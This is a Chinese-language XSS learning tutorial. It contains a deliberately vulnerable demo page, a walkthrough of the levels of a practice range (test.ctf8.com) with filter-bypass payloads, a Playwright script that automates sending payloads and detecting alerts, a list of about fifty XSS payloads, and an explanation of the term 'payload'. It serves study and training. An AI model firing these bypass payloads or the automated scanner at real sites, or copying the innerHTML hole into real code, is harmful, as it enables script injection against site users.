XSS 从零开始
什么是XSS:
Cross Site Scripting (XSS)
从网页发现漏洞,成功在网页中“插入脚本”,并让浏览器执行它
示例代码:
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="UTF-8" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<title>XSS 漏洞学习演示</title>
<style>
body {
font-family: Arial, sans-serif;
max-width: 800px;
margin: 0 auto;
padding: 20px;
background: #f5f5f5;
}
.container {
background: #fff;
padding: 20px;
border-radius: 8px;
margin-bottom: 20px;
box-shadow: 0 2px 4px rgba(0, 0, 0, 0.1);
}
.container {
border-left: 4px solid #ff4444;
background: #fff5f5;
}
input,
textarea {
width: 100%;
padding: 10px;
margin: 10px 0;
border: 1px solid #ddd;
border-radius: 4px;
}
button {
background: #007bff;
color: #fff;
padding: 10px 20px;
border: none;
border-radius: 4px;
cursor: pointer;
}
button:hover {
background: #0056b3;
}
.output {
border: 1px solid #ddd;
padding: 10px;
margin: 10px 0;
border-radius: 4px;
min-height: 40px;
background: #f8f9fa;
}
</style>
</head>
<body>
<h1>XSS演示</h1>
<div class="container">
<h2>受攻击的代码示例</h2>
<p>输入会被直接写入 <code>innerHTML</code>,故意保留 XSS 风险。</p>
<label for="userInput">用户输入:</label>
<input type="text" id="userInput" placeholder="试输入 <iframe src=' javascript:alert(1)'>">
<button id="aButton">提交(易受攻击)</button>
<div class="output" id="aOutput"></div>
</div>
<script>
function aaa() {
const input = document.getElementById('userInput').value;
const output = document.getElementById('aOutput');
output.innerHTML = input;
console.log(input);
}
function wireEvents() {
document.getElementById('aButton').addEventListener('click', aaa);
document.getElementById('userInput').addEventListener('keydown', (event) => {
if (event.key === 'Enter') {
console.log('ssssssssss');
}
});
}
document.addEventListener('DOMContentLoaded', wireEvents);
</script>
</body>
</html>
对示例代码,只有这个可以执行,其他的语句都被浏览器自动清洗:
<iframe src="javascript:alert(1)"></iframe>
以下是失败的payload:
<script>alert(1)</script>
<script>alert(1)<iscript>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<input autofocus onfocus=alert(1)>
<video onerror=alert(1)>
看了以上代码,或能理解什么是XSS
开始在游戏中学习和测试
http://test.ctf8.com/
#### level1
观察页面,网址和源代码:
反射上下文确认为网址参数和欢迎用户xxx
测试:
成功,TEST被原样插入页面:http://test.ctf8.com/level1.php?name=TEST
失败,页面无显示:http://test.ctf8.com/level1.php?name=<script>
成功,"><,被原样插入页面:欢迎用户">< :http://test.ctf8.com/level1.php?name="><
尝试直接插入alert,都成功跳转了
http://test.ctf8.com/level1.php?name=<script>alert(1)</script>
http://test.ctf8.com/level1.php?name=%22%3E%3Cscript%3Ealert(1)%3C%2Fscript%3E
http://test.ctf8.com/level1.php?name=%22%3E%3Csvg%20onload%3Dalert(1)%3E
http://test.ctf8.com/level1.php?name=%22%3E%3Cimg%20src%3Dx%20onerror%3Dalert(1)%3E
#### level2
地址 http://test.ctf8.com/level2.php?keyword=test
和level1一样,先用“>”闭合,再拼接一个:<script>alert(1)</script>
即输入:"><script>alert(1)</script>,点击搜索
#### level3
地址 http://test.ctf8.com/level3.php?writing=wait
反射型的XSS主要看:F12 查看 Elements 面板,看标签是不是被截断了,后面多了注入的新标签。如果多了,就尝试拼接完整的脚本
本关对一些特殊字符做了一些 escape,测试如下:
分别输入' "
然后点击搜索
可以看到:
' → 没转义: <input name="keyword" value="" '="">
'> → 部分转义:<input name="keyword" value="" >'="">
" → 转义: <input name="keyword" value=""">
\ → 没转义,但是被引号包裹了,不可用:<input name="keyword" value="\">
则单引号是可以注入的,拼接
' autofocus onfocus=alert(1) ' 获得焦点时执行
' onmouseover=alert(1) ' 鼠标移上去执行
' onblur=alert(1) ' 失去焦点执行
' onkeydown=alert(1) '
搜索 ' autofocus onfocus=alert(1) ' 成功过关
>>'>"> ' autofocus onfocus=alert(1) ' 渲染输出:
<input name="keyword" value=">>'>">
' autofocus o_nfocus=alert(1) '">
#### level4
地址 http://test.ctf8.com/level4.php?keyword=try%20harder!
按前面的关卡推测如下:
Level 2:双引号 " " 包裹,几乎没有转义 → 用 "><script> 就能打
Level 3:单引号 ' ' 包裹,部分(>和")转义 ' → 用 ' autofocus onfocus=alert(1) ' 就能打
那么 Level 4:双引号 " " 包裹,但 < 被转义 → 不能插标签: <script> <img>,只能用事件
搜索 → " onmouseover=alert(1) " → 再把鼠标移到输入框 → 成功过关
#### level5
地址 http://test.ctf8.com/level5.php?keyword=find%20a%20way%20out!
随便测了一个事件:" onmouseover=alert(1) "
发现变成了 → <input name="keyword" value="" o_nmouseover="alert(1)" ""="">
再测: " on " → <input name="keyword" value="" o_n="" ""="">
说明on开头的都不可用了
<script>也会被分拆为<input name="keyword" value="<scr_ipt>alert(1)</script>">
双写: " oonnmouseover=alert(1) "
插入回车: " onmo%0Duseover=alert(1) "
16进制实体符号:" onmouseover=alert(1) "
实体符号:" onmouseover=alert(1) "
配合图片 " src=x onerror=alert(1) "
以上均被过滤
尝试a链接:"><a href=javascript:alert(1)>aaa</a>
获得:
html
<form action="level5.php" method="GET">
<input name="keyword" value=""><a href="javascript:alert(1)">aaa</a>">
<input type="submit" name="submit" value="搜索">
</form>
点击链接过关
#### level6
地址 http://test.ctf8.com/level6.php
检测如下:
?keyword=TEST → <input name="keyword" value="?keyword=TEST">
" => <input name="keyword" value="" "="">
<script>alert(1)</script> => <input name="keyword" value="<scr_ipt>alert(1)</script>">
"><a href=javascript:alert(1)>aaa</a> => <a hr_ef="javascript:alert(1)">aaa</a>
进步检测:
插注释符号并URI编码:
%22%3E%3Ca%20h<!--%20-->ref%3Djavascript:alert(1)%3EX%3C%2Fa%3E 渲染输出:
<input name="keyword" value="%22%3E%3Ca%20h<!--%20-->ref%3Djavascript:alert(1)%3EX%3C%2Fa%3E">
插注释符号:
"> <a h<!-- -->ref=javascript:alert(1)>X</a> 渲染输出:
<a h<!--="" --="">ref=javascript:alert(1)>X</a>
#### level7
"><scrscriptipt>alert("xss")</scrscriptipt>
1" oonnclick=alert(1)//
#### level8
javascr%09ipt:alert(1)
#### level9
javascr%09ipt:alert(1)//http://
javasc%09ript:alert('http://');
#### level10
&t_sort=" type="text" onclick="alert(1)
#### level16
keyword=<img%0Asrc=1%0Aonerror=alert(1)>
#### level17
arg01=a&arg02=b%20onmouseover=alert(1)
针对http://test.ctf8.com/ 的一个自动测试XSS的playwright代码,该代码可以自动截图(在没有alert的情况下),以及记录详细结果
/**
* verify_xss_playwright.js - 增强调试版本
* Usage:
* node verify_xss_playwright.js --base "http://test.ctf8.com/level7.php?keyword=" --payloads payloads.txt --out results.csv --concurrency 3 --headless=false
*/
const fs = require('fs');
const path = require('path');
const argv = require('minimist')(process.argv.slice(2));
const { chromium, webkit, firefox } = require('playwright');
if (!argv.base || !argv.payloads) {
console.error("Usage: node verify_xss_playwright.js --base \"http://target/level7.php?keyword=\" --payloads payloads.txt [--out results.csv] [--concurrency 3] [--headless=true]");
process.exit(1);
}
const BASE = argv.base;
const PAYLOADS_FILE = argv.payloads;
const OUT_FILE = argv.out || 'results.csv';
const CONCURRENCY = parseInt(argv.concurrency || '2', 10);
const HEADLESS = argv.headless === undefined ? true : (argv.headless === 'true' || argv.headless === true);
const NAV_TIMEOUT = parseInt(argv.navTimeout || '8000', 10);
const ALERT_WAIT = parseInt(argv.alertWait || '1500', 10);
const SCREEN_DIR = 'screens';
// 调试模式
const DEBUG = argv.debug === 'true' || argv.debug === true;
if (!fs.existsSync(PAYLOADS_FILE)) {
console.error("❌ payloads file not found:", PAYLOADS_FILE);
process.exit(2);
}
// 创建截图目录并测试写入权限
try {
if (!fs.existsSync(SCREEN_DIR)) {
fs.mkdirSync(SCREEN_DIR, { recursive: true });
console.log(✅ Created screenshot directory: ${path.resolve(SCREEN_DIR)});
} else {
console.log(✅ Screenshot directory exists: ${path.resolve(SCREEN_DIR)});
}
// 测试写入权限
const testFile = path.join(SCREEN_DIR, '.test_write');
fs.writeFileSync(testFile, 'test');
fs.unlinkSync(testFile);
console.log(✅ Screenshot directory is writable);
} catch (err) {
console.error(❌ Cannot create or write to screenshot directory:, err.message);
process.exit(3);
}
const raw = fs.readFileSync(PAYLOADS_FILE, 'utf8');
let payloads = raw.split(/\r?\n/).map(s => s.trim()).filter(Boolean);
console.log(📝 Loaded ${payloads.length} payloads from ${PAYLOADS_FILE});
function safeName(s) {
return s.replace(/[^0-9A-Za-z\-_.]/g, '_').slice(0, 80);
}
function writeHeader(file) {
if (!fs.existsSync(file)) {
fs.writeFileSync(file, 'url,payload,result,info,timestamp\n', { encoding: 'utf8' });
}
}
function appendCSV(file, obj) {
const esc = v => {
if (v === null || v === undefined) return '';
const s = String(v).replace(/"/g, '""');
return "${s}";
};
const line = [obj.url, obj.payload, obj.result, obj.info || '', obj.timestamp].map(esc).join(',') + '\n';
fs.appendFileSync(file, line, 'utf8');
}
// 增强的截图函数
async function takeScreenshot(page, filepath, idx, payload) {
console.log([${idx}] 📸 Attempting screenshot: ${filepath});
try {
// 检查页面状态
if (page.isClosed()) {
console.error([${idx}] ❌ Page is closed, cannot take screenshot);
return false;
}
if (DEBUG) {
console.log([${idx}] 🔍 Page URL: ${page.url()});
console.log([${idx}] 🔍 Viewport: ${JSON.stringify(page.viewportSize())});
}
// 确保页面完全加载
try {
await page.waitForLoadState('load', { timeout: 3000 });
} catch (e) {
console.log([${idx}] ⚠️ Page load state timeout (continuing anyway));
}
// 等待一下确保渲染完成
await page.waitForTimeout(800);
{}
// 检查目录是否存在
const dir = path.dirname(filepath);
if (!fs.existsSync(dir)) {
console.log([${idx}] 📁 Creating directory: ${dir});
fs.mkdirSync(dir, { recursive: true });
}
console.log([${idx}] 🎬 Taking screenshot...);
// 执行截图 - 使用多种尝试
let success = false;
let error = null;
// 尝试1: fullPage
try {
await page.screenshot({
path: filepath,
fullPage: true,
timeout: 15000
});
success = true;
console.log([${idx}] ✅ Screenshot method: fullPage);
} catch (err) {
error = err;
console.log([${idx}] ⚠️ fullPage failed: ${err.message});
// 尝试2: 不使用fullPage
try {
await page.screenshot({
path: filepath,
timeout: 15000
});
success = true;
console.log([${idx}] ✅ Screenshot method: viewport only);
} catch (err2) {
error = err2;
console.log([${idx}] ⚠️ viewport screenshot failed: ${err2.message});
}
}
if (!success) {
console.error([${idx}] ❌ All screenshot methods failed:, error.message);
return false;
}
// 验证文件
await page.waitForTimeout(500); // 等待文件系统写入
if (fs.existsSync(filepath)) {
const stats = fs.statSync(filepath);
if (stats.size > 0) {
console.log([${idx}] ✅ Screenshot saved: ${path.basename(filepath)} (${(stats.size/1024).toFixed(2)} KB));
return true;
} else {
console.error([${idx}] ❌ Screenshot file is empty: ${filepath});
fs.unlinkSync(filepath); // 删除空文件
return false;
}
} else {
console.error([${idx}] ❌ Screenshot file not found after capture: ${filepath});
return false;
}
} catch (err) {
console.error([${idx}] ❌ Screenshot exception:, err.message);
if (DEBUG) {
console.error(err.stack);
}
return false;
}
}
writeHeader(OUT_FILE);
console.log(📄 Output CSV: ${path.resolve(OUT_FILE)});
async function worker(id, queue, browser) {
console.log(👷 Worker ${id} started);
while (true) {
const item = queue.shift();
if (!item) {
console.log(👷 Worker ${id} finished);
return;
}
const { idx, payload } = item;
const encoded = encodeURIComponent(payload);
const url = BASE + encoded + '+&submit=搜索';
console.log(\n[${idx}] 🚀 Processing: ${payload.substring(0, 50)}${payload.length > 50 ? '...' : ''});
const result = { url, payload, result: "none", info: "", timestamp: new Date().toISOString() };
let context = null;
let page = null;
try {
context = await browser.newContext({ acceptDownloads: false });
page = await context.newPage();
await page.setViewportSize({ width: 1280, height: 900 });
// dialog handling
let dialogTriggered = false;
let dialogMessage = "";
page.on('dialog', async dialog => {
try {
dialogMessage = dialog.message();
dialogTriggered = true;
await dialog.dismiss();
} catch (e) {}
});
const startUrl = url;
console.log([${idx}] 🌐 Navigating to URL...);
try {
await page.goto(url, { waitUntil: 'domcontentloaded', timeout: NAV_TIMEOUT });
console.log([${idx}] ✅ Navigation complete);
} catch (err) {
console.log([${idx}] ⚠️ Navigation error (tolerated): ${err.message});
}
// 等待alert
await page.waitForTimeout(ALERT_WAIT);
if (dialogTriggered) {
result.result = 'alert';
result.info = dialogMessage;
console.log([${idx}] 🚨 ALERT detected: "${dialogMessage}");
appendCSV(OUT_FILE, result);
await page.close();
await context.close();
continue;
}
// 等待可能的重定向
await page.waitForTimeout(1000);
const current = page.url();
let wasRedirected = false;
if (current && current !== startUrl) {
wasRedirected = true;
console.log([${idx}] ↪️ REDIRECT detected: ${current});
// 不要立即返回,继续检查重定向后的页面
}
// 获取页面HTML
let body = "";
try {
body = await page.content();
console.log([${idx}] 📄 Got page content (${body.length} chars));
} catch (e) {
console.log([${idx}] ⚠️ Could not get page content);
body = "";
}
const lower = (body || "").toLowerCase();
// 检查DOM反射
const hasScript = lower.includes('<script');
const hasJavascript = lower.includes('javascript:');
const hasOnfocus = lower.includes('onfocus');
const hasOnmouseover = lower.includes('onmouseover');
const hasOnerror = lower.includes('onerror');
const isDomReflected = hasScript || hasJavascript || hasOnfocus || hasOnmouseover || hasOnerror;
if (DEBUG) {
console.log([${idx}] 🔍 DOM checks: script=${hasScript}, js=${hasJavascript}, onfocus=${hasOnfocus}, onmouseover=${hasOnmouseover}, onerror=${hasOnerror});
}
if (isDomReflected) {
result.result = wasRedirected ? 'dom_reflected_after_redirect' : 'dom_reflected';
const screenshotPath = path.join(SCREEN_DIR, ${String(idx).padStart(4,'0')}_${safeName(payload)}.png);
console.log([${idx}] 🎯 DOM-REFLECTED detected${wasRedirected ? ' (after redirect)' : ''}, taking screenshot...);
console.log([${idx}] 📁 Screenshot path: ${screenshotPath});
console.log([${idx}] 🔍 Page status: closed=${page.isClosed()}, url=${page.url()});
const success = await takeScreenshot(page, screenshotPath, idx, payload);
result.info = success ? screenshot:${screenshotPath}${wasRedirected ? ';redirected_from:'+startUrl : ''} : 'screenshot_failed';
console.log([${idx}] 💾 Appending to CSV...);
appendCSV(OUT_FILE, result);
console.log([${idx}] 🔒 Closing page and context...);
await page.close();
await context.close();
console.log([${idx}] ✅ Closed successfully);
continue;
}
// none情况 - 也要截图
result.result = wasRedirected ? 'none_after_redirect' : 'none';
const screenshotPath = path.join(SCREEN_DIR, ${String(idx).padStart(4,'0')}_${safeName(payload)}.png);
console.log([${idx}] ⚪ NONE detected${wasRedirected ? ' (after redirect)' : ''}, taking screenshot...);
console.log([${idx}] 📁 Screenshot path: ${screenshotPath});
console.log([${idx}] 🔍 Page status: closed=${page.isClosed()}, url=${page.url()});
const success = await takeScreenshot(page, screenshotPath, idx, payload);
result.info = success ? screenshot:${screenshotPath}${wasRedirected ? ';redirected_from:'+startUrl : ''} : 'screenshot_failed';
appendCSV(OUT_FILE, result);
} catch (err) {
console.error([${idx}] ❌ ERROR:, err.message);
result.result = 'error';
result.info = err.message || String(err);
if (page && !page.isClosed()) {
const errorPath = path.join(SCREEN_DIR, ${String(idx).padStart(4,'0')}_error.png);
console.log([${idx}] 📸 Attempting error screenshot...);
await takeScreenshot(page, errorPath, idx, payload);
}
appendCSV(OUT_FILE, result);
} finally {
try {
if (page && !page.isClosed()) {
await page.close();
}
} catch(e) {
console.error([${idx}] ⚠️ Error closing page:, e.message);
}
try {
if (context) {
await context.close();
}
} catch(e) {
console.error([${idx}] ⚠️ Error closing context:, e.message);
}
}
}
}
(async () => {
console.log('\n🎭 Playwright XSS Verification Tool');
console.log('=====================================');
console.log(⚙️ Concurrency: ${CONCURRENCY});
console.log(📦 Payloads: ${payloads.length});
console.log(👁️ Headless: ${HEADLESS});
console.log(🐛 Debug: ${DEBUG});
console.log(📂 Screenshots: ${path.resolve(SCREEN_DIR)}/);
console.log('=====================================\n');
const browser = await chromium.launch({
headless: HEADLESS,
args: ['--no-sandbox','--disable-setuid-sandbox']
});
console.log('✅ Browser launched\n');
const queue = payloads.map((p, idx) => ({ idx: idx + 1, payload: p }));
const workers = [];
for (let i = 0; i < CONCURRENCY; i++) {
workers.push(worker(i + 1, queue, browser));
}
await Promise.all(workers);
await browser.close();
console.log('\n=====================================');
console.log('✅ All done!');
console.log(📄 Results: ${OUT_FILE});
console.log(📸 Screenshots: ${SCREEN_DIR}/);
// 统计截图
try {
const files = fs.readdirSync(SCREEN_DIR).filter(f => f.endsWith('.png'));
console.log(📊 Total screenshots: ${files.length});
} catch (e) {}
console.log('=====================================\n');
})();
payload
"><scrscriptipt>alert("xss")</scrscriptipt>
javascr%09ipt:alert(1)
javascript:alert(1)
">
'><
"><ScRipt>alert('x')</ScRipt>
" autofocus onfocus=alert(1) "
"><a href=javascript:alert(1)>X</a>
1" oonnclick=alert(1)//
<iframe src="javascript:alert(1)"></iframe>
<script>alert(1)</script>
<script>alert(1)<iscript>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<input autofocus onfocus=alert(1)>
<video onerror=alert(1)>
' autofocus onfocus=alert(1) '
' onmouseover=alert(1) '
' onblur=alert(1) '
' onkeydown=alert(1) '
" oonnmouseover=alert(1) "
" onmo%0Duseover=alert(1) "
" onmouseover=alert(1) "
" onmouseover=alert(1) "
" src=x onerror=alert(1) "
"><a href=javascript:alert(1)>aaa</a>
%22%3E%3Ca%20h<!--%20-->ref%3Djavascript:alert(1)%3EX%3C%2Fa%3E
"> <a h<!-- -->ref=javascript:alert(1)>X</a>
"><sCrIpT>alert(1)</sCrIpT>
<script>prompt("1");</script>
<script>confirm(1);</script>
<button onclick=alert('xss')>触发按钮</button>
<button ondbclick=alert('xss')>触发按钮</button>
<button onmousedown=alert('xss')>触发按钮</button>
<button onmouseover=alert('xss')>触发按钮</button>
<button onmouseout=alert('xss')>触发按钮</button>
<scrscriptipt>alert('xss')</scrscriptipt>
<img src="#" onerror="alert('xss')"/>
<img src="#" onerror=alert`xss`/>
<img/src='#'/onerror='alert('xss')'/>
<a href="ja%0Avascript:alert('xss')">click me!%0A</a>
arg01=a&arg02=b%20onmouseover=alert(1)
keyword=<img%0Asrc=1%0Aonerror=alert(1)>
&t_sort=" type="text" onclick="alert(1)
javascr%09ipt:alert(1)//http://
javasc%09ript:alert('http://');
"><scrscriptipt>alert("xss")</scrscriptipt>
1" oonnclick=alert(1)//
什么是payload?
简短说:payload 就是你“投放”的那段数据/代码——它的目的是触发某种行为。
在安全、漏洞利用或网络请求的语境里,payload 就是包含要执行或传递给目标的实际内容(不是周边的协议头或包装),也就是“有用的负载”。
下面分场景解释,帮你把概念看清楚:
1) 一般含义(通用)
在任何通信里(例如 HTTP 请求),请求的 body 里真正要传输的那部分数据就叫 payload(比如 JSON 数据 { “user”:”bob” })。
换句话说,payload = “真正有意义的内容”,不是信封(header)或信封上的地址(metadata)。
2) 漏洞利用 / 攻击中的含义
在漏洞利用里,payload 往往是会被目标执行的代码或会让目标做出特定动作的数据。
例如在 XSS(跨站脚本)场景,payload 通常是一段 JavaScript(比如教学用的 alert(‘X’))或会触发 JS 执行的 HTML 属性(
)。这段代码被注入并在受害者浏览器上运行,就叫 XSS payload。
3) 常见的 payload 类型(举例说明)
XSS payload:要在页面上执行的 JS/HTML;目的是弹窗、窃取 cookie、重定向等。
Shellcode(本地/远程利用):二进制机器码,用来在受害主机上开启 shell 或执行命令。
HTTP/JSON payload:API 请求体里的数据(如 { “username”:”alice” })。
文件上传的 payload:上传的文件本身可能包含恶意内容(例如特制的脚本化文件)。
4) 在 CTF / 靶场里“payload”通常指什么?
通常指你输入到某个参数里的那段“能触发题目效果”的内容。
例子(教学用):若题目是 XSS,攻破点是把 JS 插入到页面并执行,那么你提交的那段 JS 就是 payload。
靶场会限制长度/字符集/上下文(例如只允许 4 字符),所以真正能成功的 payload 要符合这些限制并适配被注入的“上下文”。